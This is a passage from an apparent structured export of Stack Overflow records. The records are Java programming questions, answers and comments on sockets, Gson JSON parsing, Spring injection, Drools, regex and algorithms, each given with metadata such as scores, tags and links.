comment on: http://stackoverflow.com/a/22226036
score: 0

http://stackoverflow.com/comment/33704259
comment on: http://stackoverflow.com/a/22201531
score: 0
type: AnswerComment
has text: [InputStream.available()](http://docs.oracle.com/javase/6/docs/api/java/io/InputStream.html#available%28%29) could achieve this, but I doubt this is really what you want. Have a look at setting up the socket's [timeout](http://docs.oracle.com/javase/7/docs/api/java/net/Socket.html#setSoTimeout%28int%29), quote: "With this option set to a non-zero timeout, a read() call on the InputStream associated with this Socket will block for only this amount of time. If the timeout expires, a java.net.SocketTimeoutException is raised, though the Socket is still valid."
type: Comment

http://stackoverflow.com/q/22260789
tagged with: java
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22260865
has answer: http://stackoverflow.com/a/22262242
accepted answer: http://stackoverflow.com/a/22262242
has body: I am trying to make Client-Server application. It’s about library and every new client must see the current stock of the books. I don’t have idea, how the server to send the actual stock when new client starts. In my application the new client always see the initial stock of books. Any suggestions? Thanks in advance. Here is my code: Server package Server; import java.io.*; import java.net.*; import java.util.*; import javax.swing.JOptionPane; class Readers { private ArrayList&lt;PrintWriter&gt; pW; public Readers() { pW = new ArrayList&lt;PrintWriter&gt;(10); } public synchronized void addR(PrintWriter p) { pW.add(p); } public synchronized void rmvR(PrintWriter p) { pW.remove(p); } public synchronized void sendR(String s) { Iterator&lt;PrintWriter&gt; itr = pW.iterator(); while (itr.hasNext()) { PrintWriter p = (PrintWriter) itr.next(); p.println(s); } } } class ServeOneReader extends Thread { private Socket socket; private BufferedReader in; private PrintWriter out; public static int available1=3;//initial stock of book 1 public static int available2=3;//initial stock of book 2 String book1 = "The cat in the had"; String book2 = "Harry Potter"; Readers rd; public ServeOneReader(Socket s, Readers rd) throws IOException { socket = s; this.rd = rd; in = new BufferedReader(new InputStreamReader(socket.getInputStream())); // Enable auto-flush: out = new PrintWriter(new BufferedWriter(new OutputStreamWriter( socket.getOutputStream())), true); // If any of the above calls throw an // exception, the caller is responsible for // closing the socket. Otherwise the thread // will close it. rd.addR(out); start(); // Calls run() } public void run() { try { while (true) { String str = in.readLine();//client sends suffix "borrowed" or "returned" after book's name if (str.equals(book1 + "borrow")) {//check if the book was borrowed available1--; System.out.println("Book " + str + " Stock: " + available1); String answer = book1 + " Stock: " + available1; rd.sendR(answer); out.printl…
score: 0
possible better answer: http://stackoverflow.com/a/22260865
tagged with: sockets
has comment: http://stackoverflow.com/comment/33811874
type: AnsweredQuestion
has title: Multiple Client – Server –How every new client to see the current value of variable?

http://stackoverflow.com/comment/33907902
score: 4
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22314103
has text: Stack overflow is not prevented but is slower to come, that is all; you do a _lot_ of recursive calls in 100 ms.

http://stackoverflow.com/a/22300233
score: 1
type: AcceptedAnswer
downvote count: 0
has body: Most streams (input/outpt) are buffered. So what this advice says is that if you are done with the communication you should flush and propably close the stream so all buffered data is sending finally to the end point. If no (severe security) bug is involved the flush or close method only sends the data to the before established connection (socket). The socket is unique between end points. No other endpoint will get the data.
accepted answer of: http://stackoverflow.com/q/22299087
answers question: http://stackoverflow.com/q/22299087
type: Answer
upvote count: 1

http://stackoverflow.com/q/22285661
possible better answer: http://stackoverflow.com/a/34122115
accepted answer: http://stackoverflow.com/a/22285791
has body: I've recently started playing around with JSON strings, and was told that Google's own library, Gson, is the new and hip way of dealing with these. The way I've understood it, is that a JSON string is essentially a map. Where each variable points to a value in the string. For example: String jsonInput2 = "{\"created_at\":\"Sat Feb 08 15:37:37 +0000 2014\",\"id\":432176397474623489\"} Thus far, all is well. Information such as when this JSON string was created, can be assigned to a variable with the following code: Gson gson = new Gson(); Map&lt;String, String&gt; map = new HashMap&lt;String, String&gt;(); map = (Map&lt;String, String&gt;) gson.fromJson(jsonInput, map.getClass()); String createdAt = map.get("created_at"); It's almost artistic in in simple beauty. But this is where the beauty ends and my confusion begins. The following is an extension of the above JSON string; String jsonInput2 = "{\"created_at\":\"Sat Feb 08 15:37:37 +0000 2014\",\"id\":432176397474623489\",\"user\":{\"id_str\":\"366301747\",\"name\":\"somethingClever\",\"screen_name\":\"somethingCoolAndClever\"}}"; My question is how these "brackets within brackets" work for the user section of the JSON? How could I assign the values specified within these inner-brackets to variables? Can anyone explain to me, or show me in code, how Gson handles stuff like this, and how I can use it? In short, why does... String jsonInput = "{\"created_at\":\"Sat Feb 08 15:37:37 +0000 2014\",\"id\":432176397474623489\",\"user\":{\"id_str\":\"366301747\",\"name\":\"somethingClever\",\"screen_name\":\"somethingCoolAndClever\"}}"; Gson gson = new Gson(); Map&lt;String, String&gt; map = new HashMap&lt;String, String&gt;(); map = (Map&lt;String, String&gt;) gson.fromJson(jsonInput, map.getClass()); String name = map.get("name"); System.out.println(name); ... print out null?
type: AnsweredQuestion
upvote count: 25
has answer: http://stackoverflow.com/a/22285780
downvote count: 1
has answer: http://stackoverflow.com/a/22285789
type: Question
has answer: http://stackoverflow.com/a/79381370
tagged with: java
tagged with: http://stackoverflow.com/tag/json
tagged with: gson
answer count: 6
score: 24
has answer: http://stackoverflow.com/a/22285791
has answer: http://stackoverflow.com/a/34122115
has title: Gson, JSON and the subtleties of LinkedTreeMap
favorite count: 0
has answer: http://stackoverflow.com/a/22286373

http://stackoverflow.com/comment/33672516
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22182840
has text: I thought stack overflows were based on on a fixed "recursion depth". If its simply because there's no memory available, it should just be an OOME I think.
score: 0

http://stackoverflow.com/comment/33682556
score: 0
type: AnswerComment
has text: [Here is a minimal code](https://ideone.com/kpXV5d) that reproduces that error when debugging with eclipse.
type: Comment
comment on: http://stackoverflow.com/a/22187782

http://stackoverflow.com/a/22287036
type: AcceptedAnswer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22287014
type: Answer
accepted answer of: http://stackoverflow.com/q/22287014
upvote count: 1
has body: + has a special meaning in regex, so you have to escape it. Try this: numeros = msg[1].split("\\+ ");

http://stackoverflow.com/a/22214807
answers question: http://stackoverflow.com/q/22214400
score: 0
has comment: http://stackoverflow.com/comment/33776599
type: Answer
has body: I have the latest google Play Service Library and in it import com.google.android.gms.games.Games; works..so you have to update your google play service library

http://stackoverflow.com/comment/33764837
type: AnswerComment
comment on: http://stackoverflow.com/a/22235182
score: 0
type: Comment
has text: No, not always. If you add `@JoinColumn(name = "link_id")`, it will map the association with the link_id join column.

http://stackoverflow.com/a/22282412
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33850455
upvote count: 3
has body: It calculates the difference correctly as 5400000 milliseconds (1.5 hours), but formats it as 02:30, due to, I think, the time zone. Add this line in your constructor to set the date format to the UTC time zone, and it should output 01:30 as you expect: df.setTimeZone(java.util.TimeZone.getTimeZone("UTC"));
score: 3
answers question: http://stackoverflow.com/q/22282263

http://stackoverflow.com/comment/81424724
comment on: http://stackoverflow.com/a/47237062
has text: Welcome to SO. As much effort obviously has gone into this answer, it might be difficult to get a grasp at if it's just code. It's usual to comment the solution with a few sentences. Please edit your answer and add some explanation.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33904193
type: QuestionComment
has text: +1 For someone that comes up with a correct benchmark :)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22312030

http://stackoverflow.com/comment/33909512
comment on: http://stackoverflow.com/q/22244402
score: 3
has text: Could you explain why you are using Field.get/set and reflection? What is it you are trying to accomplish (higher problem level). Remember the admonition from Java "Given an instance of a class, it is possible to use reflection to set the values of fields in that class. This is typically done only in special circumstances when setting the values in the usual way is not possible. Because such access usually violates the design intentions of the class, it should be used with the utmost discretion"
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22236819
has comment: http://stackoverflow.com/comment/33768452
has comment: http://stackoverflow.com/comment/33768388
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/22236791
downvote count: 0
type: Answer
has body: Primitive types are not Objects, and as such don't have .toString(). You have to use (for instance) String.valueOf(), ie: textdisplay.setText(String.valueOf(total)); What is more, this: if(sign_flag == "/") and similar will not work. Use "/".equals(sign_flag) instead (or sign_flag.equals("/") if sign_flag is guaranteed not to be null).
has comment: http://stackoverflow.com/comment/33768144

http://stackoverflow.com/comment/33688148
comment on: http://stackoverflow.com/q/22190516
score: 0
type: Comment
type: QuestionComment
has text: Either there is an exception or your code executes correctly. Possibly it returns null, if the file is empty. Which is it?

http://stackoverflow.com/q/22293247
has title: Unable to compile code despite setting the target Platform
answer count: 0
tagged with: target-platform
score: 1
tagged with: java
has body: I am unable to compile my code despite setting the target platform containing all the required jars. I tried cleaning my workspace and restarting eclipse but it didn't help. When i include that folder (which contains all the jars) in the build path, it compiles fine. Kindly help!
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33874952
has comment: http://stackoverflow.com/comment/33871064
downvote count: 0
tagged with: eclipse-plugin
favorite count: 0
has comment: http://stackoverflow.com/comment/33870346
type: UnansweredQuestion

http://stackoverflow.com/a/22189365
has comment: http://stackoverflow.com/comment/33682771
answers question: http://stackoverflow.com/q/22188981
type: AcceptedAnswer
upvote count: 3
has body: Given that you have @Transactional everywhere, I'm going to assume you have some proxying going on with JDK proxies. As it turns out, JKD proxies can only get your target bean's interfaces, not their class hierarchy. So the proxy created for your EmailTaskServiceImpl is not of type EmailTaskServiceImpl and can therefore not fill in for an injection target of that type. Instead, it is of type EmailTaskService, but your field is @Autowired protected EmailTaskServiceImpl emailTaskService; so that won't do. There are two solutions: The first is to change your configuration to use CGLIB proxies. You'll need to change your transactional configuration to &lt;tx:annotation-driven proxy-target-class="true" /&gt; and add the CGLIB libraries to your classpath. The second is to change your field to @Autowired @Qualifier("someName") protected EmailTaskService emailTaskService; and your class declaration to @Service("someName") public class EmailTaskServiceImpl extends EmailTaskService&lt;EmailTask, Long&gt;{ Spring will use the name instead of the type when determining which bean to inject. This is necessary because you have many EmailTaskService candidate beans.
has comment: http://stackoverflow.com/comment/33682448
has comment: http://stackoverflow.com/comment/33682567
has comment: http://stackoverflow.com/comment/33682871
has comment: http://stackoverflow.com/comment/33683281
has comment: http://stackoverflow.com/comment/33682530
type: Answer
has comment: http://stackoverflow.com/comment/33683262
score: 3
has comment: http://stackoverflow.com/comment/33682954
downvote count: 0
has comment: http://stackoverflow.com/comment/33687107
accepted answer of: http://stackoverflow.com/q/22188981
has comment: http://stackoverflow.com/comment/33682829

http://stackoverflow.com/comment/33732797
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22204000
has text: Yes, the data type is timestamp

http://stackoverflow.com/a/22316667
downvote count: 0
has body: The easiest solution would be to maintain some kind of virtual model of the board. In this way you could simply update the state of the game and request that the UI update itself to reflect the state of the model. Much simpler then trying to interrogate n-depth contains and convert to/from coordinate systems nb: This... int x =whero1.getParent().getX(); int y = whero1.getParent().getY(); Is going to return the pixel x/y position of the whereo1s parent's in relation to it's parent container, not convinced that this would really help at all
type: Answer
score: 1
answers question: http://stackoverflow.com/q/22316599
upvote count: 1

http://stackoverflow.com/comment/33666101
type: Comment
comment on: http://stackoverflow.com/q/22179911
score: 0
type: QuestionComment
has text: Thanks @DanielWilliams! So I can use a while loop and add to an int[][] ?

http://stackoverflow.com/comment/33797970
has text: I think it would've been way better if you would just link to your answer. Furthermore, since the OP already said that he was intrigued by the question I'd put my money on that he has read the thing you posted here before. So maybe even a link would not have been necessary. Lastly, only the first part (with the enum) is (kind of) an answer to the question.
type: AnswerComment
comment on: http://stackoverflow.com/a/22253141
score: 0
type: Comment

http://stackoverflow.com/comment/33728456
type: QuestionComment
has text: this might help http://www.javatpoint.com/steps-to-connect-to-the-database-in-java
comment on: http://stackoverflow.com/q/22214828
score: 0
type: Comment

http://stackoverflow.com/comment/33769588
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22235877
has text: @Radiodef "One obvious issue was the util package. Util packages are usually meant for static utility classes, not for application functionality." is the exact quote.
type: QuestionComment

http://stackoverflow.com/comment/33847404
comment on: http://stackoverflow.com/q/22280519
has text: the no. of data is not specific. i.e. a user can can 2 addresses, phone no.; another can have 5 addresses & phone nos.; another user can have no addresses and phone no. at all. In that case storing it in database tables would be hectic; as there is no limit on the no. of columns.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/22291192
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/121789512
has body: Take a look at the Java 8 Time API. http://download.java.net/jdk8/docs/api/java/time/LocalTime.html#toNanoOfDay--
type: Answer
answers question: http://stackoverflow.com/q/22290994

http://stackoverflow.com/comment/33841247
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/22277154
has text: Why not just use `split`?
type: Comment

http://stackoverflow.com/q/22169886
tagged with: mule
type: Question
tagged with: drools
downvote count: 0
score: 1
favorite count: 0
has body: When I have upgraded mule version 3.3.2 to 3.4.2 I am facing this issue for bpm rule engine. drools 5.0.1 upgraded spring dependency also 3.2.1.RELEASE , here is my drl : #From row number: 13 rule "TEST Block Rule 1" salience 65523 when dto: DroolsDTO(facts["XYZ"]=="ABC", facts["MESSAGE_ASC_FLAG"]=="Y") then dto.setState("PQR", "XYZ"); end and equivalent mule entry: &lt;foreach collection="#[groovy:flowVars.TAGS]" counterVariableName="TAG_IDX"&gt; &lt;bpm:rules rulesDefinition="${drools.config.path}/Determination.xls.drl" initialFacts-ref="NoFactsBean" doc:name="Fire Drools" /&gt; &lt;/foreach&gt; This was working fine with 3.3.2, but giving this stack trace: org.mule.api.config.ConfigurationException: Errors while parsing ruleset defined in file drools/Determination.xls.drl : Unable to build expression for 'inline-eval' : null'facts["XYZ"] == "ABC"' null : [Rule name='TEST Block Rule 1'] Any help will be appreciated :)
has title: Unable to build expression for 'inline-eval' : null'facts["XYZ"] == "ABC"'
answer count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/33745324
has comment: http://stackoverflow.com/comment/33752251
tagged with: java

http://stackoverflow.com/q/22222994
has comment: http://stackoverflow.com/comment/33760023
has comment: http://stackoverflow.com/comment/33788808
has comment: http://stackoverflow.com/comment/33875714
has comment: http://stackoverflow.com/comment/33747511
has comment: http://stackoverflow.com/comment/33742274
tagged with: java
linked to: http://stackoverflow.com/q/3165867
has comment: http://stackoverflow.com/comment/33746688
has comment: http://stackoverflow.com/comment/33820894
has body: I'm trying to come up with an algorithm for the following problem : I've got a collection of triplets of integers - let's call these integers A, B, C. The value stored inside can be big, so generally it's impossible to create an array of size A, B, or C. The goal is to minimize the size of the collection. To do this, we're provided a simple rule that allows us to merge the triplets : For two triplets (A, B, C) and (A', B', C'), remove the original triplets and place the triplet (A | A', B, C) if B == B' and C = C', where | is bitwise OR. Similar rules hold for B and C also. In other words, if two values of two triplets are equal, remove these two triplets, bitwise OR the third values and place the result to the collection. The greedy approach is usually misleading in similar cases and so it is for this problem, but I can't find a simple counterexample that'd lead to a correct solution. For a list with 250 items where the correct solution is 14, the average size computed by greedy merging is about 30 (varies from 20 to 70). The sub-optimal overhead gets bigger as the list size increases. I've also tried playing around with set bit counts, but I've found no meaningful results. Just the obvious fact that if the records are unique (which is safe to assume), the set bit count always increases. Here's the stupid greedy implementation (it's just a conceptual thing, please don't regard the code style) : public class Record { long A; long B; long C; public static void main(String[] args) { List&lt;Record&gt; data = new ArrayList&lt;&gt;(); // Fill it with some data boolean found; do { found = false; outer: for (int i = 0; i &lt; data.size(); ++i) { for (int j = i+1; j &lt; data.size(); ++j) { try { Record r = merge(data.get(i), data.get(j)); found = true; data.remove(j); data.remove(i); data.add(r); break outer; } catch (IllegalArgumentException ignored) { } } } } while (found); } public static Record merge(Record r1, Record r2) { if (r1.A == r2.A &amp;&amp; r1.B == r2.B) { …
possible better answer: http://stackoverflow.com/a/22263222
has comment: http://stackoverflow.com/comment/33798340
has answer: http://stackoverflow.com/a/22263222
type: Question
upvote count: 15
has comment: http://stackoverflow.com/comment/33760170
has comment: http://stackoverflow.com/comment/33751031
has comment: http://stackoverflow.com/comment/33750646
has comment: http://stackoverflow.com/comment/33760012
has comment: http://stackoverflow.com/comment/33751728
tagged with: algorithm
has comment: http://stackoverflow.com/comment/33751657
has comment: http://stackoverflow.com/comment/33799155
has comment: http://stackoverflow.com/comment/33759818
tagged with: optimization
has comment: http://stackoverflow.com/comment/33743672
has answer: http://stackoverflow.com/a/22314396
has comment: http://stackoverflow.com/comment/33744206
answer count: 3
has comment: http://stackoverflow.com/comment/33751270
downvote count: 0
has answer: http://stackoverflow.com/a/22379006
has title: Optimal merging of triplets
has comment: http://stackoverflow.com/comment/33751249
favorite count: 0
has comment: http://stackoverflow.com/comment/33780010
linked to: http://stackoverflow.com/q/4137379
has comment: http://stackoverflow.com/comment/33743561
has comment: http://stackoverflow.com/comment/33796339
has comment: http://stackoverflow.com/comment/33789105
has comment: http://stackoverflow.com/comment/33797157
has comment: http://stackoverflow.com/comment/33743848
has comment: http://stackoverflow.com/comment/33749849
has comment: http://stackoverflow.com/comment/33788061
has comment: http://stackoverflow.com/comment/33742209
accepted answer: http://stackoverflow.com/a/22314396
has comment: http://stackoverflow.com/comment/33796301
has comment: http://stackoverflow.com/comment/33751280
has comment: http://stackoverflow.com/comment/33790238
has comment: http://stackoverflow.com/comment/33759913
type: AnsweredQuestion
score: 15

http://stackoverflow.com/comment/33888216
type: AnswerComment
score: 0
type: Comment
has text: @Trengot The essence of my answer isn't to use DFS instead of BFS, but rather to use memoization, only using DFS to make doing this easier. Memoization doesn't classify as brute force any more (at least in my book) and should be a massive improvement on the brute force solution, whether or not it's acceptably fast depends on the numbers of stones and soldiers and the allowed execution time.
comment on: http://stackoverflow.com/a/22296371

http://stackoverflow.com/comment/33754951
comment on: http://stackoverflow.com/q/22228982
score: 0
type: Comment
type: QuestionComment
has text: how do I ooutput the toast message? While running the code it doesn't even access the `onLocationChanged` for some reason! I will really appreciate the help with this matter

http://stackoverflow.com/a/22312603
has comment: http://stackoverflow.com/comment/33911844
has comment: http://stackoverflow.com/comment/33906049
type: Answer
answers question: http://stackoverflow.com/q/22312013
has body: What codeMagic said, store each in a variable and then maybe make one final String variable to hold it with String.format. So maybe String finalString = String.format("This is the result %s and %s" , variableName, variableName); then textdisplay.setText(finalString);
score: 0

http://stackoverflow.com/comment/33674433
type: QuestionComment
has text: Well then, your problem lies elsewhere. Keep expanding your minimal code example, gradually, to match your existing code until you find the problem.
score: 1
comment on: http://stackoverflow.com/q/22184416
type: Comment

http://stackoverflow.com/a/22188051
has comment: http://stackoverflow.com/comment/33680317
answers question: http://stackoverflow.com/q/22187918
has comment: http://stackoverflow.com/comment/33680339
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33680266
has comment: http://stackoverflow.com/comment/33682288
has comment: http://stackoverflow.com/comment/33680296
type: Answer
has comment: http://stackoverflow.com/comment/33680350
upvote count: 2
has body: You probably don't want to mock the collection. You want somewhat real data to exist in the collection, and let the code operate it from there instead. Now, with the way your call is laid out, it may be the case that you have two mock objects - one to produce the mock result of getUrlState(), and one to actually return a collection from getParameters(). I'm not sure of the type you're using for either of those calls, so I'll wing it. The principle applies, though. // Assuming you have the appropriate mock for getUrlState defined SeoUrlParamHolder parameterHolderMock = mock(SeoUrlParamHolder.class); Collection&lt;SeoUrlParam&gt; dummyData = Collections.singletonList(new SeoUrlParam()); when(urlState.getUrlState()).thenReturn(parameterHolderMock); when(parameterHolderMock.getParamters()).thenReturn(dummyData);

http://stackoverflow.com/comment/33728450
type: AnswerComment
score: 2
has text: From the doc, I believe that createSessionWithFullAccess requires the password that corresponds to a Notes ID file. You are using the ncso.jar file, which uses IIOP/CORBA to talk to Domino, and therefore it does not require (and cannot use) a Notes ID file. So I'm not 100% sure about this, but I think that means that you cannot use CreateSessionWithFullAccess with ncso.jar.
type: Comment
comment on: http://stackoverflow.com/a/22213904

http://stackoverflow.com/q/22179431
score: 0
has comment: http://stackoverflow.com/comment/33664491
has comment: http://stackoverflow.com/comment/33664563
tagged with: while-loop
accepted answer: http://stackoverflow.com/a/22179661
answer count: 1
has comment: http://stackoverflow.com/comment/33664588
has comment: http://stackoverflow.com/comment/33664766
has comment: http://stackoverflow.com/comment/33664442
has comment: http://stackoverflow.com/comment/33664542
has answer: http://stackoverflow.com/a/22179661
has comment: http://stackoverflow.com/comment/33664833
has comment: http://stackoverflow.com/comment/33664613
has comment: http://stackoverflow.com/comment/33664711
has comment: http://stackoverflow.com/comment/33664972
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33664487
has comment: http://stackoverflow.com/comment/33664639
tagged with: java
tagged with: loops
has comment: http://stackoverflow.com/comment/33664483
has body: Runnable r1 = new Runnable(){ public void run(){ playing = true; while (playing){ if(worldBlock[curString].equals("Ocean")){ chosenBlock = 0; } else if(worldBlock[curString].equals("Fish")){ chosenBlock = 1; } else if(worldBlock[curString].equals("Shark")){ chosenBlock = 2; } else if(worldBlock[curString].equals("Treasure")){ chosenBlock = 3; } } } }; blockChooser = new Thread(r1); blockChooser.run(); Alright. That's the code I'm using right now. The problem is that this thing only happens once, and never again, but if I were to insert System.out.println() inside the while it works just fine, however, spamming my console. What would be the smartest thing to do here? What could be the cause to this?
type: Question
has title: While loop only runs with System.out.println
has comment: http://stackoverflow.com/comment/33664601
has comment: http://stackoverflow.com/comment/33664860

http://stackoverflow.com/comment/33656387
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22174714
has text: Don't do time-intensive work on the UI thread.
score: 0

http://stackoverflow.com/comment/33690477
comment on: http://stackoverflow.com/a/22193633
has text: Accepted. But may be you know how to take just one ID? Appropriate ID for Delete button in the table line... ? =)
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22244807
has title: Socket is not reading data
possible better answer: http://stackoverflow.com/a/22245357
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22245357
has answer: http://stackoverflow.com/a/22244893
tagged with: java
type: Question
has body: I am trying a simple Java program to send and receive data... Server is sending the data and Client receives that... But this generates Socket Exception : Connection Reset This is my Server side code to sent Integer value... try { ServerSocket server = new ServerSocket(9089); Socket socket = server.accept(); OutputStream out = socket.getOutputStream(); out.write(12); out.flush(); System.out.println("Data Sent...."); Thread.sleep(5000); } catch(Exception e) { System.out.println("Server Error : " + e.toString()); } This is my Client side code to receive that Int value... try { Socket client = new Socket(InetAddress.getLocalHost(), 9089); System.out.println("Connected ...."); InputStream in = client.getInputStream(); while(in.available()&gt;0) { System.out.println("Unavailable..."); } System.out.println("Received : " + in.read() ); in.close(); } catch(Exception e) { System.out.println("Sender Error : " + e.toString()); }
accepted answer: http://stackoverflow.com/a/22244893
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/33782225
has comment: http://stackoverflow.com/comment/33783557
has answer: http://stackoverflow.com/a/22244933
has comment: http://stackoverflow.com/comment/33782322
tagged with: sockets

owl
tags question: http://stackoverflow.com/q/22170071
tag name: owl
type: Tag

http://stackoverflow.com/comment/33800962
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22205455
type: Comment
has text: `Gatekeeper` is interface you need to implement. I added a set/getUserDto to mine as well as placing the login/logout logic there as well so I can call LoggedInGatekeeper.login(user,pass)/logout(). I then have it fire events for loggedin and loggedout that the other presenters can listen for and react to.

http://stackoverflow.com/a/53166637
answers question: http://stackoverflow.com/q/22268438
has body: I was facing same as you mention regarding exception. By using try{} catch(IOException | DocumentException ie){} this can be fixed.
score: 0
type: Answer

http://stackoverflow.com/comment/33874470
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22295346
has text: using a fixed height for the button and copying this as marginBottom in the listview is not a good practice... I suggest to use layout_heigt="wrap_content" on the button and add an id (eg: buttonBottom). Then add a layoutAbove="@id/buttonBottom" and layout_alignParentTop="true" to the listView. Note: The <Button.. /> needs to be above the listview to achieve this.

http://stackoverflow.com/q/22262351
score: 0
answer count: 1
tagged with: http://stackoverflow.com/tag/html
tagged with: spring
accepted answer: http://stackoverflow.com/a/22267107
tagged with: spring-mvc
type: AnsweredQuestion
tagged with: java
has body: In my web application, I have a home page where the options available to the user are placed in a fixed sidebar in the top of the screen, and each one of this options are opened inside of a tag in this same page. My problem is: when this content is a form, and I submit it to the server, after the processing, the output page isn't opened in this , but in the entire navigation space. What I want is a way of capture this return and display it in the same it was originated. the code for my home page is: HorarioLivre <!--[if lt IE 9]> <![endif]--> <!--[if lt IE 9]> <![endif]--> Toggle navigation HorarioLivre Evento Lista Horarios Cadastra Horarios Usuarios ${usuario.nome} Perfil Configurações Sair Fechar Panel content I am using Spring, and the pages linked here are handled by Controller. By example,the page "cadastra_evento.html" is: <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> Lista de Eventos Eventos Segue a lista de eventos cadastrados. Nome Descrição Periodo Duração <c:forEach var="item" items="${lista}"> <c:out value="${item.nome}"/> <c:out value="${item.descricao}"/> <c:out value="${item.data_inicial}"/> - <c:out value="${item.data_final}"/> <c:out value="${item.duracao}"/> </c:forEach> Novo Cadastre um novo evento. Periodo da Data inicio: final: Periodo do Horário inicio: final: Cadastrar To finish, the page "cad_evento.html" used as action for the form above, is handled by method of same name from Controller: @RequestMapping(value="/cad_evento", method=RequestMethod.POST) public ModelAndView cadastra_evento(@RequestParam("nome") String nome, @RequestParam("descricao") String descricao, @RequestParam("data_inicial") String data_inicial, @RequestParam("hora_inicial") String hora_inicial, @RequestParam("data_final") String data_final, @RequestParam("hora_final") String hora_final, @RequestParam("duracao") int duracao) { if(sessao != null) { if(sessao.getUsuari…
type: Question
has title: Control over where a form display the output from your submission
has answer: http://stackoverflow.com/a/22267107

http://stackoverflow.com/comment/33864934
type: QuestionComment
has text: My text editor says it is 500+ lines of code.
score: 0
comment on: http://stackoverflow.com/q/22290209
type: Comment

http://stackoverflow.com/a/22287107
answers question: http://stackoverflow.com/q/22287058
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33891573
has body: This is a bug in 22.6. We're preparing a 22.6.1 update that will fix this. I think you can use the standalone AVD Manager, running tools/android avd from a shell to create one.
type: Answer
score: 9
upvote count: 9
accepted answer of: http://stackoverflow.com/q/22287058
has comment: http://stackoverflow.com/comment/33859857

http://stackoverflow.com/q/22173991
answer count: 1
score: 0
type: UnansweredQuestion
tagged with: regex
has answer: http://stackoverflow.com/a/22174111
tagged with: java
has body: import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; public class Example { public static void main(String[] args) throws IOException { File fis=new File("D:/Testcode/Test.txt"); BufferedReader br; String input; String var = null; if(fis.isAbsolute()) { br=new BufferedReader(new FileReader(fis.getAbsolutePath())); while ((input=br.readLine())!=null) { var=input; } } //String var="Duminy to Warner, OUT, Duminy gets a wicket again. He has been breaking... if(var!=null) { String splitstr[]=var.split(","); if(splitstr[0].contains("to")) { String ss=splitstr[0]; String a[]=ss.split("\\s+"); int value=splitstr[0].indexOf("to"); System.out.println("Subject:"+splitstr[0].substring(0,value)); System.out.println("Object:"+splitstr[0].substring(value+2)); System.out.println("Event:"+splitstr[1]); int count=var.indexOf(splitstr[2]); System.out.println("Narrated Information:"+var.substring(count)); } } } } The above program shown the following output: Subject:Duminy Object: Warner Event: OUT Narrated Information: Duminy gets a wicket again. He has been breaking.... my question is, the text may contain, For example: "Dumto to Warner, OUT, Duminy gets a wicket again. He has been breaking..." means, the above program wouldn't show output like above.. how to identity the text after the space for checking the condition
type: Question
has title: Find the second duplicate word

http://stackoverflow.com/a/22175722
upvote count: 1
answers question: http://stackoverflow.com/q/22175509
has body: First of all, you're not adding any listeners to the listener field in CustomListener. Secondly, the listeners in MyTextArea are never called. Edit To clarify: You have a Vector of listeners in your MyTextArea class but there's no method to fire the event. From the way I understand your problem, you want MyTextArea to be a listener of CustomEvent, but you designed it like a class that generates events, not one that receives events. So I would change MyTextArea like this: class MyTextArea extends TextArea implements MyListener { @Override public void actionPerformed(MyEvent e) { System.out.println(e.getArg()); } } Now that MyTextArea implements MyListener, you can add it to the list of listeners in CustomEvent.fillPanel(): void fillPanel() { panel = new JPanel(); panel.setLayout(new BorderLayout(0, 0)); final MyTextArea textArea; textArea = new MyTextArea(); //textField should listen to customEventObject panel.add(textArea, BorderLayout.CENTER); textArea.setColumns(10); listeners.add(textArea); }
has comment: http://stackoverflow.com/comment/33657788
has comment: http://stackoverflow.com/comment/33660966
has comment: http://stackoverflow.com/comment/33684115
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/33660348
accepted answer of: http://stackoverflow.com/q/22175509

http://stackoverflow.com/q/22314530
tagged with: java
has comment: http://stackoverflow.com/comment/33931895
has comment: http://stackoverflow.com/comment/33916161
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22328450
tagged with: thymeleaf
has comment: http://stackoverflow.com/comment/33932422
tagged with: ognl
answer count: 1
downvote count: 0
favorite count: 0
tagged with: google-app-engine
has title: IllegalAccessException doing Thymeleaf/OGNL method access
has answer: http://stackoverflow.com/a/22328450
